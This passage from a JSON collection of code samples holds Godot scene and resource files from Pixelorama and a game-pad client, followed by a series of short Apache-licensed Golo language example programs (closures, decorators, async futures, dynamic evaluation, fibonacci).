parent=\"Dialogs\"]\nmargin_right = 467.0\nmargin_bottom = 70.0\nwindow_title = \"Unsaved Image\"\ndialog_text = \"You have unsaved changes. If you proceed, the progress you have made will be lost.\"\n\n[node name=\"QuitDialog\" type=\"ConfirmationDialog\" parent=\"Dialogs\"]\nmargin_right = 243.0\nmargin_bottom = 70.0\nresizable = true\ndialog_text = \"Are you sure you want to exit Pixelorama?\"\n\n[node name=\"QuitAndSaveDialog\" type=\"ConfirmationDialog\" parent=\"Dialogs\"]\nmargin_right = 330.0\nmargin_bottom = 70.0\nwindow_title = \"Save before exiting?\"\nresizable = true\ndialog_text = \"You have unsaved progress. How do you wish to proceed?\"\n__meta__ = {\n\"_edit_use_anchors_\": false\n}\n\n[node name=\"ErrorDialog\" type=\"AcceptDialog\" parent=\"Dialogs\"]\nmargin_right = 151.0\nmargin_bottom = 60.0\nwindow_title = \"Error\"\ndialog_text = \"This is an error message!\"\n\n[node name=\"BackupConfirmation\" type=\"ConfirmationDialog\" parent=\"Dialogs\"]\nmargin_right = 200.0\nmargin_bottom = 88.0\npopup_exclusive = true\nresizable = true\ndialog_text = \"Autosaved project(s) from a crashed session were found.\nDo you want to recover the data?\"\ndialog_autowrap = true\n\n[node name=\"FrameProperties\" parent=\"Dialogs\" instance=ExtResource( 9 )]\n\n[node name=\"WindowOpacityDialog\" parent=\"Dialogs\" instance=ExtResource( 10 )]\n\n[node name=\"TileModeOffsetsDialog\" parent=\"Dialogs\" instance=ExtResource( 14 )]\n\n[node name=\"Extensions\" type=\"Control\" parent=\".\"]\n__meta__ = {\n\"_edit_use_anchors_\": false\n}\n\n[node name=\"LeftCursor\" type=\"Sprite\" parent=\".\"]\nvisible = false\n\n[node name=\"RightCursor\" type=\"Sprite\" parent=\".\"]\nvisible = false\n\n[connection signal=\"popup_hide\" from=\"Dialogs/SplashDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/CreateNewImage\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"files_selected\" from=\"Dialogs/OpenSprite\" to=\".\" method=\"_on_OpenSprite_files_selected\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/OpenSprite\" to=\".\" method=\"_on_OpenSprite_popup_hide\"]\n[connection signal=\"file_selected\" from=\"Dialogs/SaveSprite\" to=\".\" method=\"_on_SaveSprite_file_selected\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/SaveSprite\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"confirmed\" from=\"Dialogs/SaveSpriteHTML5\" to=\".\" method=\"_on_SaveSpriteHTML5_confirmed\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/SaveSpriteHTML5\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/ExportDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/PreferencesDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/AboutDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/UnsavedCanvasDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"confirmed\" from=\"Dialogs/QuitDialog\" to=\".\" method=\"_on_QuitDialog_confirmed\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/QuitDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"confirmed\" from=\"Dialogs/QuitAndSaveDialog\" to=\".\" method=\"_on_QuitAndSaveDialog_confirmed\"]\n[connection signal=\"custom_action\" from=\"Dialogs/QuitAndSaveDialog\" to=\".\" method=\"_on_QuitAndSaveDialog_custom_action\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/QuitAndSaveDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/ErrorDialog\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/BackupConfirmation\" to=\".\" method=\"_can_draw_true\"]\n[connection signal=\"popup_hide\" from=\"Dialogs/BackupConfirmation\" to=\".\" method=\"_on_BackupConfirmation_popup_hide\"]\n"
  },
  {
    "path": "samples/Godot Resource/Server.gdns",
    "content": "[gd_resource type=\"NativeScript\" load_steps=2 format=2]\n\n[ext_resource path=\"res://client_server_library.gdnlib\" type=\"GDNativeLibrary\" id=1]\n\n[resource]\nresource_name = \"Server\"\nclass_name = \"Server\"\nlibrary = ExtResource( 1 )"
  },
  {
    "path": "samples/Godot Resource/default.tres",
    "content": "[gd_resource type=\"Resource\" load_steps=23 format=2]\n\n[ext_resource path=\"res://addons/dockable_container/layout.gd\" type=\"Script\" id=1]\n[ext_resource path=\"res://addons/dockable_container/layout_panel.gd\" type=\"Script\" id=2]\n[ext_resource path=\"res://addons/dockable_container/layout_split.gd\" type=\"Script\" id=3]\n\n[sub_resource type=\"Resource\" id=1]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Tools\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=2]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Main Canvas\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=3]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Second Canvas\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=4]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 0\npercent = 0.980952\nfirst = SubResource( 2 )\nsecond = SubResource( 3 )\n\n[sub_resource type=\"Resource\" id=5]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Animation Timeline\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=6]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 1\npercent = 0.90625\nfirst = SubResource( 4 )\nsecond = SubResource( 5 )\n\n[sub_resource type=\"Resource\" id=7]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Canvas Preview\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=8]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Color Pickers\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=9]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Global Tool Options\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=10]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 1\npercent = 0.5\nfirst = SubResource( 8 )\nsecond = SubResource( 9 )\n\n[sub_resource type=\"Resource\" id=11]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 1\npercent = 0.85514\nfirst = SubResource( 7 )\nsecond = SubResource( 10 )\n\n[sub_resource type=\"Resource\" id=12]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Left Tool Options\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=13]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Right Tool Options\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=14]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 0\npercent = 0.5\nfirst = SubResource( 12 )\nsecond = SubResource( 13 )\n\n[sub_resource type=\"Resource\" id=15]\nresource_name = \"Tabs\"\nscript = ExtResource( 2 )\nnames = PoolStringArray( \"Palettes\" )\ncurrent_tab = 0\n\n[sub_resource type=\"Resource\" id=16]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 1\npercent = 0.697987\nfirst = SubResource( 14 )\nsecond = SubResource( 15 )\n\n[sub_resource type=\"Resource\" id=17]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 1\npercent = 0.348266\nfirst = SubResource( 11 )\nsecond = SubResource( 16 )\n\n[sub_resource type=\"Resource\" id=18]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 0\npercent = 0.73\nfirst = SubResource( 6 )\nsecond = SubResource( 17 )\n\n[sub_resource type=\"Resource\" id=19]\nresource_name = \"Split\"\nscript = ExtResource( 3 )\ndirection = 0\npercent = 0.0\nfirst = SubResource( 1 )\nsecond = SubResource( 18 )\n\n[resource]\nresource_name = \"Layout\"\nscript = ExtResource( 1 )\nroot = SubResource( 19 )\nhidden_tabs = {\n\"Second Canvas\": true\n}\n"
  },
  {
    "path": "samples/Godot Resource/filenames/project.godot",
    "content": "; Engine configuration file.\n; It's best edited using the editor UI and not directly,\n; since the parameters that go here are not all obvious.\n;\n; Format:\n;   [section] ; section goes between []\n;   param=value ; assign values to parameters\n\nconfig_version=4\n\n[application]\n\nconfig/name=\"Game Pad Client\"\nrun/main_scene=\"res://JoinServer/JoinServerControl.tscn\"\nboot_splash/image=\"res://Images/Background.png\"\nboot_splash/bg_color=Color( 0.101961, 0.101961, 0.12549, 1 )\nconfig/icon=\"res://Icons/1024Icon.png\"\n\n[autoload]\n\nClient=\"*res://Client/Client.gd\"\nUdpBroadcast=\"*res://UDP_Broadcast.gd\"\n\n[debug]\n\ngdscript/completion/autocomplete_setters_and_getters=true\n\n[display]\n\nwindow/size/width=1920\nwindow/size/height=1080\nwindow/size/test_width=960\nwindow/size/test_height=540\nwindow/stretch/mode=\"2d\"\nwindow/stretch/aspect=\"expand\"\n\n[global]\n\ndelay=false\nsimulate=false\n\n[input_devices]\n\npointing/ios/touch_delay=0.0\npointing/emulate_touch_from_mouse=true\n\n[rendering]\n\nenvironment/default_clear_color=Color( 0.101961, 0.101961, 0.12549, 1 )\nenvironment/default_environment=\"res://default_env.tres\"\n"
  },
  {
    "path": "samples/Godot Resource/signals_library.gdnlib",
    "content": "[entry]\n\nX11.64=\"../../target/debug/libsignals.so\"\nOSX.64=\"../../target/debug/libsignals.dylib\"\nWindows.64=\"res://../../target/debug/signals.dll\"\n\n[dependencies]\n\nWindows.64=[  ]\nX11.64=[  ]\nOSX.64=[  ]\n\n[general]\n\nsingleton=false\nload_once=true\nsymbol_prefix=\"godot_\"\nreloadable=true"
  },
  {
    "path": "samples/Golo/adapters.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.Adapters\n\nlocal function list_sample = |fabric| {\n  println(\">>> list_sample()\")\n  let carbonCopy = list[]\n  let conf = map[\n    [\"extends\", \"java.util.ArrayList\"],\n    [\"overrides\", map[\n      [\"*\", |super, name, args| {\n        if name == \"add\" {\n          if args: length() == 2 {\n            carbonCopy: add(args: get(1))\n          } else {\n            carbonCopy: add(args: get(1), args: get(2))\n          }\n        }\n        return super: invokeWithArguments(args)\n      }\n    ]]\n  ]]\n  let list = fabric: maker(conf): newInstance()\n  list: add(\"bar\")\n  list: add(0, \"foo\")\n  list: add(\"baz\")\n  println(\"      list: \" + list + \" \" + list: getClass())\n  println(\"carbonCopy: \" + carbonCopy + \" \" + carbonCopy: getClass())\n}\n\nlocal function runnable_sample = |fabric| {\n  println(\">>> runnable_sample\")\n  let result = array[1, 2, 3]\n  let conf = map[\n    [\"interfaces\", [\"java.io.Serializable\", \"java.lang.Runnable\"]],\n    [\"implements\", map[\n      [\"run\", |this| {\n        for (var i = 0, i < result: length(), i = i + 1) {\n          result: set(i, result: get(i) + 10)\n        }\n      }]\n    ]]\n  ]\n  let runner = fabric: maker(conf): newInstance()\n  runner: run()\n  println(\"      result: \" + result: toString())\n  println(\"serializable? \" + (runner oftype java.io.Serializable.class))\n  println(\"    runnable? \" + (runner oftype java.lang.Runnable.class))\n}\n\nfunction main = |args| {\n  let fabric = AdapterFabric()\n  list_sample(fabric)\n  runnable_sample(fabric)\n}\n"
  },
  {
    "path": "samples/Golo/async.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.AsyncHelpers\n\nimport gololang.Async\nimport java.util.concurrent.TimeUnit\nimport java.util.concurrent.Executors\n\nlocal function fib = |n| {\n  if n <= 1 {\n    return n\n  } else {\n    return fib(n - 1) + fib(n - 2)\n  }\n}\n\nfunction main = |args| {\n\n  let executor = newCachedThreadPool()\n  println(\"Let's do some useless asynchronous operations...\")\n\n  var f = executor: enqueue({\n    Thread.sleep(1000_L)\n    return 666\n  })\n  f:\n    onSet(|v| -> println(\">>> #slow -> \" + v)): \n    onFail(|e| -> println(\">>> #fail -> \" + e))\n  f:\n    cancel(true)\n\n  f = executor: enqueue({\n    Thread.sleep(1000_L)\n    return 666\n  })\n  f:\n    onSet(|v| -> println(\">>> #ok -> \" + v)): \n    onFail(|e| -> println(\">>> #wtf? -> \" + e))\n\n  let fib_10 = promise()\n  let fib_20 = promise()\n  let fib_30 = promise()\n  let fib_40 = promise()\n\n  let futures = [\n    fib_10: future(), fib_20: future(), \n    fib_30: future(), fib_40: future()\n  ]\n\n  executor: submit(-> fib_10: set(fib(10)))\n  executor: submit(-> fib_20: set(fib(20)))\n  executor: submit(-> fib_30: set(fib(30)))\n  executor: submit(-> fib_40: set(fib(40)))\n\n  all(futures): onSet(|results| -> println(\">>> Fibs: \" + results))\n\n  let truth = promise()\n  truth: \n    future(): \n    map(|v| -> \"truth=\" + v): \n    onSet(|v| -> executor: submit(-> println(\">>> (another thread) \" + v))):\n    onSet(|v| -> println(\">>> (same thread) \" + v))\n  executor: submit({\n    Thread.sleep(500_L)\n    truth: set(42)\n  })\n  \n  Thread.sleep(1000_L)\n  executor: shutdown()\n  executor: awaitTermination(2_L, SECONDS())\n  println(\"Bye!\")\n}\n"
  },
  {
    "path": "samples/Golo/augmentations.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.Augmentations\n\nimport java.util.LinkedList\n\naugment java.util.List {\n  function with = |this, value| {\n    this: add(value)\n    return this\n  }\n}\n\naugment java.util.Collection {\n  function doToEach = |this, func| {\n    foreach (element in this) {\n      func(element)\n    }\n  }\n}\n\nfunction main = |args| {\n  let list = LinkedList(): with(\"foo\"): with(\"bar\"): with(\"baz\")\n  list: doToEach(|value| -> println(\">>> \" + value))\n}\n"
  },
  {
    "path": "samples/Golo/closures.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule Closures\n\nlocal function sayHello = |who| -> \"Hello \" + who + \"!\"\n\nfunction main = |args| {\n  let adder = |a, b| -> a + b\n  println(adder: invokeWithArguments(1, 2))\n  println(adder(1, 2))\n\n  let addToTen = adder: bindTo(10)\n  println(addToTen: invokeWithArguments(2))\n  println(addToTen(2))\n\n  let adding = |x| -> |y| -> adder(x, y)\n  let addingTen = adding(10)\n  println(addingTen(4))\n  println(adding(2)(4))\n\n  println(sayHello(\"Julien\"))\n\n  let list = java.util.LinkedList()\n  let pump_it = {\n    list: add(\"I heard you say\")\n    list: add(\"Hey!\")\n    list: add(\"Hey!\")\n  }\n  pump_it()\n  println(list)\n}\n"
  },
  {
    "path": "samples/Golo/coin-change.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule CoinChange\n\nimport java.util.LinkedList\n\nfunction change = |money, coins| -> match {\n  when money == 0 then 1\n  when (money < 0) or (coins: isEmpty()) then 0\n  otherwise change(money - coins: head(), coins) + change(money, coins: tail())\n}\n\nfunction main = |args| {\n  let coins = LinkedList(): append(1, 2, 5, 10, 20)\n  println(\"Coins: \" + coins)\n  println(\"0: \" + change(0, coins))\n  println(\"1: \" + change(1, coins))\n  println(\"2: \" + change(2, coins))\n  println(\"10: \" + change(10, coins))\n  println(\"12: \" + change(12, coins))\n  println(\"6: \" + change(6, coins))\n}\n"
  },
  {
    "path": "samples/Golo/collection-literals.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.CollectionLiterals\n\nlocal function play_with_tuples = {\n  let hello = [\"Hello\", \"world\", \"!\"]\n  foreach str in hello {\n    print(str + \" \")\n  }\n  println(\"\")\n\n  println(hello: get(0) + \"-\" + hello: get(1) + \"-\" + hello: get(2))\n\n  println(hello: join(\"/\"))\n}\n\nlocal function play_with_literals = {\n  let data = [\n    [1, 2, 3],\n    tuple[1, 2, 3],\n    array[1, 2, 3],\n    set[1, 2, 3, 3, 1],\n    map[\n      [\"a\", 10],\n      [\"b\", 20]\n    ],\n    vector[1, 2, 3],\n    list[1, 2, 3]\n  ]\n\n  data: each(|element| {\n    println(element: toString())\n    println(\"  type: \" + element: getClass())\n  })\n}\n\nfunction main = |args| {\n  println(\">>> Literals\")\n  play_with_literals()\n  println(\"\\n>>> Tuples\")\n  play_with_tuples()\n}\n\n"
  },
  {
    "path": "samples/Golo/context-decorator.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.ContextDecorator\n\nimport gololang.Decorators\n\nlet myContext = defaultContext():\n  count(0):\n  define(\"entry\", |this, args| {\n    this: count(this: count() + 1)\n    println(\"hello:\" + this: count())\n    return args\n  }):\n  define(\"exit\", |this, result| {\n    require(result >= 3, \"wrong value\")\n    println(\"goobye\")\n    return result\n  }):\n  define(\"catcher\", |this, e| {\n    println(\"Caught \" + e)\n    throw e\n  }):\n  define(\"finallizer\", |this| {println(\"do some cleanup\")})\n\n\n@withContext(myContext)\nfunction foo = |a, b| {\n  println(\"Hard computation\")\n  return a + b\n}\n\nfunction main = |args| {\n  println(foo(1,2))\n  println(\"====\")\n  println(withContext(myContext)(|a| -> 2*a)(3))\n  println(\"====\")\n  try {\n    println(foo(1, 1))\n  } catch (e) { }\n}\n\n"
  },
  {
    "path": "samples/Golo/decorators.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.Decorators\n\nimport java.util.LinkedList\n\nfunction simple_decorator = |func| {\n  return |a,b| -> func(a+1,b+1)\n}\n\n@simple_decorator\nfunction simple_adder = |x,y| -> x + y\n\nfunction decorator_with_params = |param1, param2|{\n  return |func| {\n    return |a,b| -> func(a+param1,b+param2)\n  }\n}\n\n@decorator_with_params(10,2)\nfunction parametrized_adder = |x,y| -> x + y\n\nfunction generic_decorator = |func| {\n  return |args...| {\n    println(\"number of params : \"+args: length())\n    return func: invokeWithArguments(args)\n  }\n}\n\n@generic_decorator\nfunction generic_adder0 = -> 42\n\n@generic_decorator\nfunction generic_adder1 = |x| -> x\n\n@generic_decorator\nfunction generic_adder2 = |x,y| -> x + y\n\n@generic_decorator\nfunction generic_adder3 = |x,y,z| -> x + y + z\n\nfunction list_sum_decorator = |func| {\n    return |this| -> func(this) - 8\n}\n\naugment java.util.List {\n\n  @list_sum_decorator\n  function sum = |this| {\n    var acc = 0\n    foreach elem in this {\n        acc = acc + elem\n    }\n    return acc\n  }\n}\n\nfunction main = |args| {\n  println(simple_adder(10,30))\n  println(parametrized_adder(10,20))\n  println(generic_adder0())\n  println(generic_adder1(42))\n  println(generic_adder2(20,22))\n  println(generic_adder3(10,12,20))\n  let list = LinkedList()\n  list: add(5)\n  list: add(10)\n  list: add(15)\n  list: add(20)\n  println(list: sum())\n}"
  },
  {
    "path": "samples/Golo/dynamic-evaluation.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.DynamicEvaluation\n\nimport gololang.EvaluationEnvironment\n\nlocal function test_asModule = |env| {\n  let code =\n\"\"\"\nmodule foo\n\nfunction a = -> \"a!\"\nfunction b = -> \"b!\"\n\"\"\"\n  let mod = env: asModule(code)\n  let a = fun(\"a\", mod)\n  let b = fun(\"b\", mod)\n  println(\">>> asModule()\")\n  println(a())\n  println(b())\n}\n\nlocal function test_anonymousModule = |env| {\n  let code =\n\"\"\"\nfunction a = -> \"a.\"\nfunction b = -> \"b.\"\n\"\"\"\n  let mod = env: anonymousModule(code)\n  let a = fun(\"a\", mod)\n  let b = fun(\"b\", mod)\n  println(\">>> anonymousModule()\")\n  println(a())\n  println(b())\n}\n\nlocal function test_asFunction = |env| {\n  let code = \"return (a + b) * 2\"\n  let f = env: asFunction(code, \"a\", \"b\")\n  println(\">>> asFunction\")\n  println(f(10, 20))\n}\n\nlocal function test_def = |env| {\n  let code = \"|a, b| -> (a + b) * 2\"\n  let f = env: def(code)\n  println(\">>> def\")\n  println(f(10, 20))\n}\n\nlocal function test_run = |env| {\n  let code = \"\"\"println(\">>> run\")\n  foreach (i in range(0, 3)) {\n    println(\"w00t\")\n  }\"\"\"\n  env: run(code)\n}\n\nlocal function test_run_map = |env| {\n  let code = \"\"\"println(\">>> run_map\")\n  println(a)\n  println(b)\n  \"\"\"\n  let values = java.util.TreeMap(): add(\"a\", 1): add(\"b\", 2)\n  env: run(code, values)\n}\n\nfunction main = |args| {\n  let env = EvaluationEnvironment()\n  test_asModule(env)\n  test_anonymousModule(env)\n  test_asFunction(env)\n  test_def(env)\n  test_run(env)\n  test_run_map(env)\n}\n"
  },
  {
    "path": "samples/Golo/dynamic-object-person.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.DynamicObjectPerson\n\nlocal function mrbean = -> DynamicObject():\n  name(\"Mr Bean\"):\n  email(\"mrbean@gmail.com\"):\n  define(\"toString\", |this| -> this: name() + \" <\" + this: email() + \">\")\n\nfunction main = |args| {\n\n  let bean = mrbean()\n  println(bean: toString())\n\n  bean: email(\"mrbean@outlook.com\")\n  println(bean: toString())\n}\n"
  },
  {
    "path": "samples/Golo/echo-args.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule EchoArgs\n\nfunction main = |args| {\n  \n  println(\"With a for loop and an index:\")\n  for (var i = 0, i < args: length(), i = i + 1) {\n    println(\"  #\" + i + \" -> \" + args: get(i))\n  }\n\n  println(\"With a foreach loop:\")\n  foreach arg in args {\n    println(\"  \" + arg)\n  }\n\n  println(\"With a foreach over a range:\")\n  foreach i in range(0, args: length()) {\n    println(\"  #\" + i + \" -> \" + args: get(i))\n  }\n}\n\n"
  },
  {
    "path": "samples/Golo/enums-thread-state.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule sample.EnumsThreadState\n\nimport java.lang.Thread$State\n\nfunction main = |args| {\n\n  # Call the enum entry like a function\n  let new = Thread$State.NEW()\n  println(\"name=\" + new: name() + \", ordinal=\" + new: ordinal())\n  println(\"-----------\")\n\n  # Walk through all enum entries\n  foreach element in Thread$State.values() {\n    println(\"name=\" + element: name() + \", ordinal=\" + element: ordinal())\n  }\n}\n\n"
  },
  {
    "path": "samples/Golo/fibonacci.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.Fibonacci\n\nimport java.lang.System\n\nfunction fib = |n| {\n  if n <= 1 {\n    return n\n  } else {\n    return fib(n - 1) + fib(n - 2)\n  }\n}\n\nlocal function run = {\n  let start = System.currentTimeMillis()\n  let result = fib(40)\n  let duration = System.currentTimeMillis() - start\n  println(\">>> \" + result + \" (took \" + duration + \"ms)\")\n}\n\nfunction main = |args| {\n  while true {\n    run()\n  }\n}\n\n"
  },
  {
    "path": "samples/Golo/helloworld.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule hello.World\n\nfunction main = |args| {\n  println(\"Hello world!\")\n}\n\n"
  },
  {
    "path": "samples/Golo/http-server.golo",
